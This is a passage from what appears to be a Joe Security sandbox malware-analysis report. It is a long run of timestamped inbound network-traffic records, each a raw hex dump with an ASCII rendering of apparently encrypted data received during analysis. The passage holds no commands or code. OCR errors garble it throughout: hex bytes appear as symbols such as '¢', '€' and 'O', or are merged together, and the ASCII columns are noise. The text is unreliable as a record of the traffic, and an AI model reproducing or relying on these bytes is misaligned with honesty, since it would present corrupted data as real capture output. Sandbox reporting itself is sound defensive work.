2022-01-14 03:59:48 UTC 2825 IN Data Raw: ff 76 43 03 ac 20 12 85 38 45 18 f4 32 ¢5 69 44 ae cd 65 d7 bd f1 7d 15 f7 ac e9 82 ff 16 e6 de ff cb c2 8c 1b 40
7a 4d 13 d7 b9 56 08 c4 65 4e db Oe 39 68 2e a5 6e df 95 7c 1d 5f 17 76 85 22 4d 52 bb 5 c1 7b 59 5e 43 89 83 05 8d a5
ch 41 e7 c15289 17 54 e7 47 01 75 af 94 4e 3e 7f 5d 3c dc 10 92 42 8c 4d 3b a0 db df 7b df 2e 8f dc b5 3c 08 3b 35 3b
13 ac 2b 29 34 d3 d8 50 9f 6e 55 17 9c 9c c2 e0 ae fa 4d 1c 90 6b 90 52 bc 7b 2¢ 60 ea 46 92 d2 e4 15 03 04 52 4a de 5
€6 89 13 e2 c2 1b 55 64 Ob 3c €9 49 5a 68 a9 f6 9a 75 5b 3c 1c 11 68 e7 37 d9 cf 93 7a Of 7f 09 ad c2 fe 1f 91 a2 45 40 e6
b8 7a e2 13 62 39 55 8¢ 9d ce ea df 29 al d2 8f ¢8 69 90 59 57 6b 3a 8c 5d 69 2c f9 5e 44 59 ec Oe 8a be 1a f4 64 db bc
26 24 6e 65 66 08 ff 85 80 6¢ 9f 40 75 34 bb b0
Data Ascii: vC 8E2iDe}@zMVeN9h.n|_v"MR{YACARTGUN>]<BM:;{.<;5;+)4PnUMKR{,"FRJUd<IZhu[<h7zE @zb9U)iYWk:]
i,"DYd&$nefl@us

Copyright Joe Security LLC 2022 Page 92 of 135



kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 2841 IN Data Raw: a4 ce cf 58 32 8d 9c 81 47 d7 f2 4e a0 60 2c 94 7c fe 57 46 ca 4e d1 86 c5 98 76 d9 5a b3 15 5f bb b9 70 91 4f
5d a5 58 6¢ c9 Oe b3 ac 84 57 2e 3¢ 7b 0d 4f 97 11 74 f5 6e 4c a8 70 2e 1f 86 97 5d 9e 68 00 a0 03 72 12 c3 a3 3f c0 09
70 32 5e 34 de 02 86 1a a3 82 42 cd 75 de 6a 48 99 4a 6e d4 eb e8 c1 97 a7 98 da 54 5a bb 19 aa 7f 88 42 f0 4e 18 bc el
29 1a 66 7a €5 53 66 81 e4 7 c6 2d 03 d2 dO ff 06 fa 90 el fa 94 7b a4 72 47 91 41 37 1e 11 43 39 19 75 54 66 06 b9 e6
95 €6 87 49 28 4b fd f2 52 04 79 03 ae 2d 74 c6 03 c2 96 20 cc 9e d0 85 13 dd a3 35 29 4a 43 9a 87 ae 62 9c 6¢ 9b 09 03
fa 55 dc 53 48 4d af e5 67 3b 75 65 66 c1 9d 5f 01 ea 5a 5e 4e 53 78 bc 6b 4b 9e ea 73 €9 2e 01 34 9f 2b 87 43 e6 ea 37
ec a2 Ob 83 c8 1b 47 df e5 97 19 4b b8 dc d6 20 46 63
Data Ascii: X2GN",|WFNvZ_pO]XIW.<{OtnLp.]hr?p2"4BujHINnTZBN)fzSf-{rGA7COuTfl(KRy-t 5)JCbIUSHMg;uef_Z"
NSxkKs.4+C7GK Fc

2022-01-14 03:59:48 UTC 2857 IN Data Raw: 77 9e 22 6f 54 d2 7f Oc fd b2 1d 78 95 ac 75 9a 82 76 9f ef 3f 58 ff 78 fd 6¢c 32 8e 39 Oc 65 86 29 df d7 42 d3 e5
9a df 26 f5 13 79 17 23 10 8d 2f 71 76 8e 9f ed 40 07 d8 33 5b 82 1d c4 8b df 1d el fO 5e c4 56 6d 60 7a e9 48 d7 b3 06
73 be 19 f2 b5 48 1f df fe 11 71 24 c1 24 20 2c 8e eb ad 18 93 69 f2 a9 c4 49 b0 32 80 fa f3 24 fe 22 04 72 aa 8b 20 Ob dc
54 d2 96 68 73 71 60 ca 80 al cb 7c 20 29 a6 bc fO ae 70 0a b1 25 25 5c ec cf 37 b0 d0 a7 98 1b 26 41 d3 b0 €9 16 fc 9a
38 b6 84 b9 e0 4a b2 22 66 90 5c f1 aa 24 d2 bc 20 f1 39 43 a8 4d 67 9a 61 07 db c5 38 34 fd 9f 5a 01 b9 9a 22 a9 8f 22
c1 03 ce cbh a7 fd 6e 84 65 64 32 da 72 27 12 Oe c7 61 fb f4 b3 1d bd 49 94 d9 69 a5 6b ab 4b 86 c6 5e a5 b0 22 9a 26 9b
ba cb c3 d8 ae fb c8 8d e4 4f c6 99 c4 ff 1d de
Data Ascii: w"oTxuv?XxI29e)B&y#/qv@3[*"Vm zHsHq$$ ,il2$"r Thsq'| )p%%\7&A8J"\$ 9CMga84Z™ ' ned2r'alikk*"&O

2022-01-14 03:59:48 UTC 2873 IN Data Raw: 65 90 3e ad 9c d1 3d 8d ba 2a 6a 2f 4a eb 37 9f 78 e2 d1 2c c6 ee cc 45 f9 9f 9a c9 de 51 25 44 99 d9 fe e2 4e
e7 38 5d eaf5c5 78 ac 50 03 08 7b 49 c2 6f 09 15 bf ed 18 c9 81 5f 54 5f f8 54 83 df 33 37 9d c4 d3 24 d9 29 1f f6 6a be
58 0d 98 7a ee bb ea a7 f2 3e 96 a7 3f 97 43 1a 61 4e 56 91 7d 94 19 40 91 40 66 76 1a 4d a5 cc bc 3c c4 el 33 74 f1 Ob
b0 21 8a 83 b9 33 16 f5 65 ce 3a d2 48 42 28 83 ed b0 1e cO ec €9 09 0d 36 48 f6 2e 69 1d 78 d6 f5 6f €9 de cb 0d ba bf
33d3 87 00 67 37 68 f7 1a c9 31 4e 6a 30 11 2f e2 3a 2f c3 17 be 80 f4 04 ef d5 41 b4 d5 23 fb 8b 8a 04 2e 68 71 9f c1 e2
4f 63 5¢ 89 94 97 72 ef 27 30 2a b3 d2 ca 44 21 9d 96 29 8c 6b 09 cc 62 ab 19 6b e3 45 a8 74 f6 1c 5d 6f 70 9c d9 8d 6¢
39 1a 06 b0 4c 05 38 32 70 09 01 36 84 71 bd 45
Data Ascii: e>=*j/J7x,EQ%DN8]xP{lo_T_T37%$)jXz>?CaNV}@ @fvM<3t!3e:HB(6H.ixo3g7h1Nj0/:/A#.hqOc\r'0*D!)k
bkEt]opl9L82p6qE

2022-01-14 03:59:48 UTC 2889 IN Data Raw: a4 da f0 51 c5 d4 d9 ea 72 67 ef 9a db f2 13 b0 5a 6b 77 68 24 2a 41 c4 f2 e2 01 69 c0 8f 43 22 91 b4 26 3e 9c
f3 ce ce ac fa ed 24 06 26 76 7e 84 3e Ob 2a 83 a2 fc 78 91 9d 24 3e 60 20 8c a2 2¢c 77 62 d5 74 27 ca 64 9b f9 c7 d5 e9
fd 88 f7 ee 9b cd db 98 50 cd 82 91 26 dO 94 1c 4e 8f 08 20 7f f9 fa 61 41 87 2b e3 ae 98 0 82 el 9e 95 83 b2 d3 1f 87 45
b2 9d 5e eb 58 €8 9a 56 06 52 €9 91 2d d1 ac 02 7d 9b d3 df 32 a8 1c 62 10 2f 10 fa fa 3d Of 66 6b a8 7b 43 d4 b6 1a db
85 23 f5 cf ed f6 29 28 96 53 60 ad 9f 16 8f 6e fb 55 bf Oc a6 05 3 52 f2 2f 91 26 b7 4f Ob af b9 7c fd 31 70 29 9e 86 6d 76
8c 1d 35 81 84 f6 80 b3 81 9c d1 84 cf 8d d3 ed 81 dd 1f de 53 69 e6 5a 3f 20 96 72 32 2c 4c f6 4d 1b 46 el e5 5d df 69
8e d9 b2 e8 6e 24 b6 c1 ea d1 73 6¢ 88 75 ba
Data Ascii: QrgZkwh$*AiC"&>$&v~>*x$>" wbt'dP&N aA+ENXVR-}2b/=fk{C#)(S ' nUR/&O|1p)mv5SiZ? r2,LMF]in$slu

2022-01-14 03:59:48 UTC 2905 IN Data Raw: 9b 5¢ 88 62 71 9b 9e 41 fa c3 0f 36 5e 04 b1 e7 26 96 6f 79 Oe 19 8¢ 27 9b al 52 6b 82 36 41 2a c0 aa ea 32
6505 57 cd 34 ba 24 c¢3 a4 b0 45 d6 86 78 04 be 12 77 f2 a6 87 fd c1 88 24 82 ae 79 89 fa c8 af Oc 63 bc c2 31 98 44 c3
09 2b 54 1c 09 d5 f3 ab 73 €3 04 b9 c4 ff 08 c¢5 07 8f 67 20 f1 ed 91 2a 79 1b 24 f6 5a 62 ea 7b 42 56 72 fc 5¢c €9 a0 d4 70
03 e9c7 7a 06 05 c1 99 43 a3 5f 54 c9 60 75 58 af ae b8 4b 06 76 2f 78 38 fc el a5 c5 Oe cl e2 22 4c 54 86 26 e2 79 b7
56 59 91 a8 68 €9 90 fb 44 b5 c6 1c 1e 79 fe fd 17 3c d1 67 fe 49 1c b2 7a 8b 34 56 79 d1 82 f8 3e 8e 7f 90 5b 06 8d 39 3e
be f7 80 bc 2e ac 79 5¢ 5b 98 d1 e6 b8 ad 75 bf a4 c6 8e 41 c8 12 7a 56 83 e2 Oe 07 €9 ff 44 1d 15 f4 96 5d Of e2 c1 77 51
58 66 7b 46 81 af cc a8 c3 aa 55 73 4e c9 23 f5
Data Ascii: \bgA6"&oy'Rk6A*2eWASExw$yc1D+Tsg *y$Zb{BVr\pzC_T uXKv/x8"LT&yVYhDy<glz4Vy>[9>.y\[uAzVD]w
QXHFUsN#

2022-01-14 03:59:48 UTC 2921 IN Data Raw: 8¢ 21 4a 99 f6 e4 72 76 db 04 35 94 57 17 3e 90 f0 e3 22 ed 7a ab 3c 01 0d 81 50 86 c1 b6 65 40 b4 23 b4 db
06 56 c8 d3 cf 4b 57 aa 77 f7 c2 aa e6 dc 99 bf 9f {7 3c 48 b9 3b 43 7e 6b 23 33 86 84 74 37 86 ed d8 bd f9 62 el 28 6d 23
de 16 66 a3 e0 c6 3e f6 34 5b 22 78 8d 83 1c 91 39 c3 85 4e b7 f0 ea b1l 50 87 a5 Oe bf 9c e0 ac fb ef €9 f8 fd ec a2 fc 81
86 de a3 e9 f9 97 be a2 4a 37 18 3e a6 21 4d 3f 5d a9 2d 60 8e 19 01 d9 ed bb c4 7c d9 7a 85 01 9f b4 c5 16 e5 4c b8 6a
€9 0d 00 8e 96 f1 5¢ 50 ab 01 6d Oc 08 2e 16 13 22 ec 4c 9c Ob 75 5¢ €6 b3 2a a4 df ba 11 54 26 ff a0 ¢3 9d {7 {7 91 3c dO
3d 9e 5f a2 bb 7c 6e 99 bc 6b 6a b6 67 bd 04 61 04 4c 20 1f e2 ca 26 15 12 c9 23 aa a7 be e3 1f 6a 71 c0 86 c8 cc 58 cd
9e 90 06 86 d8 6¢ €6 e3 02 20 8e e4 ef 9f 4a cO
Data Ascii: IJrvBW>"z<Pe @#VKWw<H;C~k#3t7b(m#f>4["x9INPJI7>IM?]-"|zL)\Pm."Lu\*T&<=_|nkjgaL &#jgXI J

2022-01-14 03:59:48 UTC 2937 IN Data Raw: 19 ac af bb 50 bf 14 86 ef Oe 72 b7 57 ab b9 04 98 d9 ce d7 7c e4 06 a2 01 e7 de b6 77 30 d9 {7 24 1f 00 1f ee
9d c5 ab b2 1a e9 61 35 3a 1f 66 11 1f 62 d6 76 ad 56 29 71 7 0a 1b 95 58 74 88 e7 6a 42 24 45 f4 23 84 a8 4e ae ab 7b
22 c3209a a6 7c f9 1f 28 21 ¢3 9¢ 99 5b 25 11 02 8a 9b 93 be 7b ab cb 8e 0a 45 1e 4e 82 el cf 5f c6 e4 4a fb 70 cO b d4
7e ed 6a 06 89 eb 0a 59 e2 ee 24 cd 24 35 33 8f 07 ¢4 5b 74 5d f7 bb 4c 8c ea bb 72 07 b9 a2 56 6¢ 37 20 1d 9b 22 d6 a2
98 85 f0 5f 8b 60 16 da 66 66 28 da a5 e7 d9 62 6 f7 Oe 15 a3 d2 4e f1 78 67 9b c5 52 70 4c 3 0d 85 ff de 1c 1e 9d b6 a0
00 09 31 4f 05 de c0 23 bc 4f 8d 29 59 ¢8 12 12 83 25 0b ac 7c db ff 1b 08 c2 Oe ba da b1 40 23 5 c3 46 f4 41 fd 31 b3 6f
7e 8c f7 3a 88 cc a8 1e 16 7a 28 5a 30 ac 40
Data Ascii: Prw|w0$a5:fovV)gXtBSEAN{" |([%{EN_Jp~jY$$53[tILrVI7 *_ fi(bNxgRpL1O#O)Y%|@#FAlo~:2(Z0@

2022-01-14 03:59:48 UTC 2953 IN Data Raw: 42 92 76 fe 8c 45 69 d4 cf 2b 90 de 46 83 b2 d6 5e a0 14 45 b5 e4 26 b4 82 76 37 19 a2 74 a8 €9 5d 2 ce 6a
25dd 28 49 14 7c e4 bc 6b a3 96 b8 a6 bc 16 a4 94 ef 04 f0 27 1e e5 62 4c f5 68 27 93 49 8b 09 11 2a 42 cf bf 67 1b 33
45 4d 68 05 a4 eb ef 6d Ob fd 25 81 73 85 e2 96 c2 75 85 f9 23 5d d3 ca 13 41 6e 71 83 db e7 11 dd 3e 27 f2 50 5c¢ f6 31
1c 78 dd 8b 22 33 ff a2 af 86 69 7d 1a 38 €5 27 2e b5 7f 47 46 73 70 d3 a7 ee 4a e2 66 27 ea 29 51 f2 11 54 e4 5a 52 1e
1a 0a 20 fb 64 ba a3 bc 26 a2 04 47 1d 2b c6 02 b5 e5 c7 9e 58 0a 45 ce 5d 6b 8b 89 81 f6 cd 75 2 4e 14 d9 4a b5 06 a4
da 35 80 11 52 9f 7e ea a8 bb 25 57 16 21 fc 79 83 e2 de c9 93 06 00 d9 40 8e 05 23 51 5d bb 12 7d 14 62 Oe 70 52 34 a9
c5 63 6f e0 c6 ae da 19 ¢3 11 28 ba c3 7a a7 20 ea 53 35
Data Ascii: BVEi+F E&V7t]j%(I|k'bLh'I*"Bg3EMhm%su#|Ang>'P\1x"3i}8'.GFspJf)QTZR d&G+XE]KUNJSR~%W!y@#Q
1}bpR4co(z S5

2022-01-14 03:59:48 UTC 2969 IN Data Raw: 8a d3 27 fa 74 79 a4 28 92 1a d3 a7 6b 6f cf e8 a6 de 5b 7d e0 8c 77 69 Ob b2 9b 7 el 6e c5 12 e6 f9 50 d9 eb
f2 52 24 91 de bc 16 08 a6 dc 3a 65 de 22 e6 f7 7c 59 48 b4 3a f6 1c 1d 19 a5 e5 a0 90 91 fe 31 09 a4 47 bd 00 b6 bc b4
00 Oe 1d de fb f5 3c b1 26 2e 11 ca 99 e5 2e a9 34 85 66 b8 68 48 a9 50 0a 53 €5 9b be 02 e5 1f Of 06 57 68 7f bf 61 28
0d 5d Oc 4e c4 70 a4 7f 6f c6 8c d2 3c 5d 9f 1e f1 96 6b d8 e7 9b c5 6a ca 37 10 ad 19 d9 e0 ea 7d 5d 7a a8 2a 26 4f f6 86
Oc 9c 9d 3a 6a fe 2b 28 b4 41 c5 dc 5¢ 2a 2a bc 6d ee 85 4b 75 9c¢ f1 44 20 08 13 d1 7e cd c6 9b 5d 4e 61 c1 ba 43 ff 12
4b 99 63 96 33 5d 34 ba a5 57 04 a6 2a ac 5d 31 61 bc 06 3a 22 db f2 7b 6¢ 48 c6 e0 82 ee 57 36 9f 9¢ 13 13 aa 77 01 52
f1 4f cb db 9e a6 a7 f7 4b 9 5e f0 33 8 4c 3f 80
Data Ascii: 'ty(ko[jwinPR$:e"|YH:1G<&..4fhHPSWha(INpo<]kj7}]z*&O:j+(A\*mKuD ~]NaCKc3]4W*]1a:"{IHWE6WROK"3L?
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 2985 IN Data Raw: 20 7c 97 5d 76 16 fd 35 4 d1 4f 45 b6 6b 80 f9 68 37 f1 ce 55 b6 c0 8f b2 4e 81 dc 53 3d 15 77 ac d6 cd 36 d9
3f 18 7e 8 63 f4 bf 4b d2 62 11 ab 8b 30 ea 10 f6 83 bf d6 0d d0 4f dc 67 08 1b 2d fO 51 12 74 ab 37 51 4d c9 9a 43 5b af
16 82 cad0 ca 11 86 8b ae al 5aeb d6 84 ae 28 71 d5 79 0d el bc 43 f2 72 02 51 b2 77 8f 80 bd 04 b2 23 0a 8b 95 43 7b
5e fb eb 37 e0 c4 Oc 8d €9 f2 dc 2d d9 e6 27 f2 29 a6 40 90 e0 dO e6 58 d2 bf 6e e4 74 7e dc 2a 11 60 be 77 62 5e 90 b0
4c ed 43 36 1f €9 54 b8 9c 19 b4 c5 b9 4c 8a 29 55 70 9d ff 12 ed 8a 69 63 b4 61 d8 48 fd e6 39 02 68 54 ac 0f 89 6b 69
e2 a4 58 c7 1e 8e fb 5a db af 54 06 43 15 9b 45 Oc f2 1e 32 73 91 6f 21 fb a9 30 13 2c 5b 55 42 49 78 d6 a8 52 70 99 ed
aa 75 1f 50 37 26 0f 14 fc 41 df 68 7a 76 25 3a Oa
Data Ascii: [[v5OEkh7UNS=w6?~cKb00g-Qt7QMCI[Z(qyCrQw#C{"7-")@Xnt~* wb"LC6TL)UpicaHIhTkiXZTCE2s0!0,[U
BIXRpuP7&Ahzv%:

2022-01-14 03:59:48 UTC 3001 IN Data Raw: ed 6d a5 90 c9 62 f1 51 d3 b9 97 79 ec 64 af a9 9 54 c6 61 4c be 51 83 b2 6b 8f 2e c6 80 ab de 19 9d 1d b6
55 bd c9 dO 5¢c a4 2d da af 71 73 53 f1 a9 b2 9e 6e 6e 44 1a 19 8b fb a7 ae 8f f4 82 9e ff 4f ac cb 27 6b 32 92 5¢ b0 aa 07
16 58 20 0f 40 54 eb 9b fa b2 19 1d al cb 53 77 3d a4 5d 5b bc 7f 40 7 7b 65 c5 10 7e ee d2 b8 37 58 2d e0 f7 9f 64 96
79 de 67 45 d2 1e f7 01 68 6d b6 c2 55 09 cf 53 Of df 5b 96 84 55 d8 88 d2 02 9c b9 c5 53 fa d3 f2 f3 2f 13 3b 9e d1 4b 20
90 8a 6b 0Oa 3a 65 2e 6e 5a 97 bb b0 45 3e 71 39 80 fc ae b5 26 64 2e e7 4b eb 74 6f 37 35 64 8f 4b 34 92 07 d6 ff c4 aa
1b 5f 24 df 81 37 de 42 4f 1e d6 17 b3 a7 20 80 a8 11 df 53 1f 32 f6 33 €3 50 3a ab c7 7e 76 el 15 ca c3 €3 50 20 15 09
dd 4c 7d cd a9 92 e3 63 50 a4 78 bf 14 ac b0 bf 50
Data Ascii: mbQydTaLQk.U\-gsSnnDO'k2\X @ TSw=][@{e~7X-dygEhmUS[US/;K k:e.nZE>q9&d.Kto75dK4_$7BO S23P:
~VP L}cPxP

2022-01-14 03:59:48 UTC 3017 IN Data Raw: ed 8¢ f1 3c 86 15 69 ff 08 de a8 6f d8 8d 5f 02 69 da 87 11 2e ab 23 00 89 bd c5 b0 1c a3 1b 6f fa dd cd ff b7 25
91 2e 36 €9 47 40 e4 73 82 20 03 ec 8a 21 00 90 13 fO b6 60 17 8a 2d 86 ef d0 54 46 ff 62 33 5e 27 01 4a 4f ed a9 2d 8e
le 47 c7 e4 fe 68 d6 25 23 ed 50 f5 9c ed 71 ¢8 bd 34 59 20 7b 09 db 41 60 03 ca 58 9d el 49 99 9d 07 3c Oc ee 3f 35 12
ca 5c 3e 34 ad 03 09 5e 12 72 Oa 7f e0 39 eb ca a3 45 3 13 b6 38 3c 65 ee a3 05 b2 6e 5d ab 84 83 eb a4 el ac e8 48 be
9387 ed 79 d4 el 63 95 €6 95 2b fa 48 42 22 86 57 ef 21 9f f8 ff f3 eb 1c 8b 1e 16 ea 46 cf 36 7b 41 ce 53 ad 2a 15 80 d5
59 e4 5f 37 06 35 4c 86 22 b8 43 8f be 4f 4e a4 69 91 67 52 €0 d7 05 69 81 ee ca Oc f1 9a 0d 2c 84 5f a4 78 06 54 39 f0
17 8f ea d5 e8 ¢3 29 38 54 7e f4 19 39 05 68 1a
Data Ascii: <io_i.#0%.6G@s !I"-TFb3"JO-Gh%#Pg4Y {A XI<?5\>4"r9E8<en]Hyc+HB"W!F6{AS*Y_75L"CONigRi,_xT
9)8T~9h

2022-01-14 03:59:48 UTC 3033 IN Data Raw: 48 f1 be d7 bl 9e 85 3c f9 46 4e b7 6b 68 9a Oa ba d9 48 ea d7 06 d2 3a eb 66 6f Of 41 36 7d b0 3b ed 82 e9
ae 9f 14 50 96 4c 68 e6 6f de 80 0f 09 67 Ob d2 ee aa 40 2b a7 d6 27 b5 15 fb be 8c 3d a5 48 81 3 80 40 d1 d6 bf a3 cd
4a bl f7 5e 15 a8 1b 05 d2 05 d9 b9 17 d1 e9 01 36 77 8b 47 6a 80 28 05 9f 6f 9d el 3f ff 25 28 4a cc c6 ff 32 8e b3 e2 0d
bf 7f 62 c9 31 78 9e 90 71 d0 62 a7 38 6d 8a 52 aa 1c aa 99 06 45 Oe 26 fa a8 75 05 8b 94 db 9b 15 1e e0 39 5b cO 79 8a
91 c0 45 4e 09 2f ad ad 09 7d d4 3b d4 c4 41 64 d1 Oc a7 c4 08 fe e5 aa 8b f9 bd 73 el 34 6a c0 72 98 d4 db db 47 dO df
b0 d2 40 85 a6 1d ff 07 8d 06 2f 20 52 33 36 37 fb c9 71 99 33 39 be b0 ea 84 bl 94 9f 21 14 36 fd Ob 52 f0 16 34 a6 eb e2
28 84 ¢8 2b 99 82 2a 69 3d 2d 91 cd 1f 66 7e 3a le
Data Ascii: H<FNkhH:foA6};PLhog@+'=H@J"6wGj(0?%(J2b1xgb8mRE&UI[YEN/};Ads4irG@/ R367G39!6R4(+*i=-f~:

2022-01-14 03:59:48 UTC 3049 IN Data Raw: 38 25 cf 71 d9 84 85 90 3b b9 d9 d7 e7 cf b5 07 5a 95 66 20 30 56 0d 00 6b el 21 b3 38 79 ae 8c 9e bd a5 26
9807 37 12 a6 71 83 83 08 7f 2b db 3a 93 10 d2 6f 83 Oc 3e c2 74 d0 37 00 ec 10 65 7b 25 b6 28 47 77 ef f6 c4 4d Oc 2c
7100 ab 75 b1 71 e8 d8 ab 53 61 Ob 99 7a 3e 51 e4 02 77 ed da 54 1e 50 39 4e 60 bd 06 f4 03 1c 98 96 c7 {3 b4 26 {3 62
0051 8c ad b6 14 1f 28 23 c¢3 bd 16 1b b6 77 13 36 cb b1 18 01 fa f2 91 8 23 f4 b9 4f d5 bb 01 a0 78 al Oc 84 bc 14 36 f1
7533 f 16 99 aa fd e4 68 02 63 a0 de 0d e7 91 be de Oe 5f 0d 35 b2 83 9f ff 26 7d c8 de 19 d7 5b 14 bd e0 1a e4 00 d9 35
81 c9 7d b4 3c 46 49 89 39 78 7c dc f4 76 67 50 ad ed bc 58 04 d4 f6 2a 71 5d ee 44 45 d2 12 95 dd 36 d8 74 f1 6a a3 37
ef df 9¢c 29 ¢7 07 b2 eb 51 ba 55 5c el a4 bd d3 9b
Data Ascii: 8%0;Zf OVk!8y&7q+:0>t7e{%(GwM,quqSaz>QwTPIN &bQ#w6#0x6u3hc_5&}[5}<FI9x|vgPX*q]DE6tj7)QU\

2022-01-14 03:59:48 UTC 3065 IN Data Raw: 6¢ 8d bd 1e 23 90 81 11 88 c5 1e 45 b3 ca 20 7e f3 28 e7 a5 21 1c 8b a9 Ob 25 6e 1a 7a 1a 27 f1 bb 5b €9 29
1d f9 c4 3b 70 98 4f e5 48 46 ba 14 01 82 8d 1f f6 e4 1e 7d 41 da 44 92 a7 99 98 aa 17 20 5e 45 bc fe eb Oa c4 33 21 21
1b ba a7 4c 2¢ 61 96 7d 07 cO bf 38 08 0f 93 69 f0 03 4c €3 61 c2 6a dc 17 44 ¢9 76 fb f9 3d d8 35 1c 94 74 {3 cb 54 64 b3
16 78 40 fe af 3d 61 31 ff d2 2b 56 51 fd 73 a8 a4 4a 8b 36 bb 7d b2 2f 07 e7 d4 45 f2 ae 44 fc c1 39 0f 50 9b bf c4 94 76
20e8¢7 7091 b7 f3¢c3 4233 3ad59d 32 64 7f 92 09 2d ff a3 f2 fb 8¢ 32 4d 31 b3 ca 7b 30 14 aa f8 d5 c9 95 c3 a4 18 31
64 d3 cO 8f 8d c6 83 83 88 bf e4 e7 ac 8b 0f cf a7 9e 2f bb d1 62 9b f8 3d f6 f2 €3 bl ce 24 b1 Ob 50 c8 7f 14 67 87 cd 7 3f
2a 53 df e6 1c 5 98 a9 4c d4 58 Oc 95 34
Data Ascii: #E ~(1%nz'[);pOHF}AD ~E3!IL,a}8iLajDv=5tTdx@=al+VQsJ6}/EDIPv pB3:2d-2M1{01d/b=$Pg?*SLX4

2022-01-14 03:59:48 UTC 3081 IN Data Raw: 4f 4b 96 1a 51 e3 ce e0 91 dd 37 cd fd 86 33 f0 bf cf ba ae 4f 16 ce 27 c1 e7 a8 e2 d6 f8 fb ed 9b f5 6f 8¢ d5 61
ab 45 0f ca 7d 70 69 29 2e 20 05 05 26 65 bf al 9f 4d 42 cf 20 84 6e 25 73 52 2e 06 8f de 88 28 {7 26 Oe 76 8e 4b c9 a8
€056 fe e2 €5 6b 7b 13 6d 41 d6 ce 6d 41 78 e0 88 65 15 47 c1 31 92 87 4e 94 3a b9 af 80 df 24 3d 53 c9 f6 88 e6 12 21
4c ce c9 61 17 df 61 8e fd 65 c6 14 66 f9 6f 03 36 72 18 3f eb a2 e6 cc c4 68 7c 4b 96 34 b9 c0 87 b2 a2 73 88 8e fe 34 a5
2a 31 8b 17 74 0d 24 b5 90 6e 6b 57 02 51 14 f4 ce 23 b0 b0 9b ¢8 11 d1 64 05 17 51 58 85 03 cf 49 23 9c 88 37 90 76 f4
5b 66 18 2a 7c f7 bc 38 f1 63 20 fe 60 06 8f 5e ae 9e ff 1e 9e cf 48 95 7 37 f6 ad bc c9 38 11 3a c5 40 bf 50 e9 1e 40 b7
28 3a 7c cb 2c 46 6d f7 6b cc af af 81 3f 4c
Data Ascii: OKQ730'0aE}pi). &eMB n%sR.(&KVk{mAmMAxeG1N:$=S!Laaefo6r?h|K4s4*1tSnkWQ#dQXI#7v[f*|8c “"H
78:@P@(:|,Fmk?L

2022-01-14 03:59:48 UTC 3097 IN Data Raw: 37 7f 10 2d 7e b8 df 16 79 47 9e 37 59 79 a0 ef ff 73 78 7f 61 49 71 09 83 a8 5a 38 1e 3d 41 d7 8c 6f 17 6a 78
b5 3f 31 fe fd be bd a2 36 13 fc 42 56 ¢3 3d a5 70 1b 20 28 7c €0 40 a3 71 66 be 4c 38 d3 b5 65 7c cf 86 43 8¢ b8 0d 7b
€819 88 02 0a d4 16 56 c9 7e 94 05 e8 ec 8f 4c b9 e8 2b d2 08 6e a6 07 25 55 a4 97 c0 7b ba aa 3f 13 Ob 3a 31 fe 2d 4c
3b ff 5a 95 41 ed 97 3c 6e 25 1b 6f ed el 8d aa 73 el c7 76 a7 9e 6 €3 52 94 2b ec 34 45 a4 ac 1a 04 4d e2 ec Oe f4 de
dc 5f 38 9f 4a 57 f6 5e 3a 7a 10 92 2a 4e 97 b8 8d 8a Ob 91 14 c¢7 35 b0 96 23 20 8e 5b 17 1b 72 69 48 09 6¢ 98 37 16 a3
16 41 33 42 d6 17 a7 29 33 c6 2f ce 97 52 52 e4 a5 ef 38 9d 09 aa 32 b6 23 0d 09 e2 16 bb f8 3a a2 57 8b b2 f0 5a e3
13 48 60 38 56 13 33 a4 db 20 5b 5b de 2a 0a f1 0d 61
Data Ascii: 7-~yG7YysxalqZ8=A0jx?16BV=p (|@qfL8e|C{V~L+n%U{?:1-L;ZA<n%0svR+4EM_8JW":z*N5# [riHI7A3B)
3/RR82#:WZH'8V3 [[*a

2022-01-14 03:59:48 UTC 3113 IN Data Raw: 6a 30 f6 95 fc 8¢ 68 64 1a ad d2 9c b7 7c 6a c7 7a c4 10 2c c6 54 9e 30 02 Oc 4b 17 98 8a 2a 3c 44 72 3d 93 f9
a8 f5 6d d5 20 33 c0 53 ac 4e 15 2e 02 63 da 04 88 {3 38 4f 36 74 97 28 fe 78 18 16 58 27 2d 7c 41 b1 92 a3 fe 17 ef 88 2¢
34 05 ba 59 05 60 8e 53 a8 0d 54 73 9e e8 Oe cc 8¢ 07 63 e3 6d bd 79 6¢ c2 26 2f 44 b6 dO cb 05 9c ec d6 81 1a 6b dd 49
53 13 f0 7b 32 90 e2 64 e0 e7 df fa 6f 28 d6 10 f3 5d 06 1d 44 5a 5c¢ cO f1 a0 3f 3f d4 2a de bb 68 ed ec 36 55 1b d6 c4 fe
8b 72 59 9b 54 69 a2 d7 4c 16 c0 31 8a 20 27 f5 75 94 96 a4 5b 3¢ 91 86 88 a5 3d 70 dc 72 ab 97 b9 ad 67 aa c8 ae 40 bf
2f 73 65 f9 24 69 90 24 f8 aa 8e 1d e0 b6 1f c7 40 21 Oc 19 56 e5 00 98 c¢7 22 bb 02 4d 81 85 1e 78 e2 56 66 2b 3c 8a 49
e5¢6 39 3e 79 fb e4 64 76 09 a5 63 7d 39 1f c2
Data Ascii: johd|jz, TOK*<Dr=m 3SN.c806t(xX'-|A.4Y"STscmyl&DkIS{2do(]DZ\??*h6UrYTiL1 'u[<=prg@/se$i$@!V"MxVf+<
19>ydvc}9
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 3129 IN Data Raw: e3 31 ef €3 5b 8d c7 0a c1 95 da b3 3f 7c 09 47 19 d5 06 e3 c3 a9 5d b5 9c 92 47 23 52 87 43 24 0f 76 e4 e8
de 32 6f 40 7a 0a f8 b0 8b 8e 7a 94 bd 44 b5 30 ae 3e 24 4d {5 90 13 a3 b4 96 65 83 d7 1e 42 Oa ff dd c2 a0 bb 16 78 53
26 d8 16 02 43 e3 7e 9f 29 2f 44 f2 93 8e 2f 1d 6e b8 d6 68 d1 aa 73 31 f9 45 2c 14 84 9f 23 43 84 92 97 2c 6 a6 7c ce 86
51 29 f4 cf 8¢ 64 bb 72 64 a4 20 2c 08 bd 69 e5 el ce fc c6 c1 88 23 a2 ch 50 a7 31 63 e6 db 9e cc el ab c¢7 16 3d 4a 3f fd
a6 fe d9 2f 4f 8d 84 8c 69 eb 24 el f3 6f 5e 6f 6¢ a6 28 eb 57 99 af 19 5¢ d5 54 26 c6 8e db 71 ac fe f4 d0 7f c7 70 5b d2
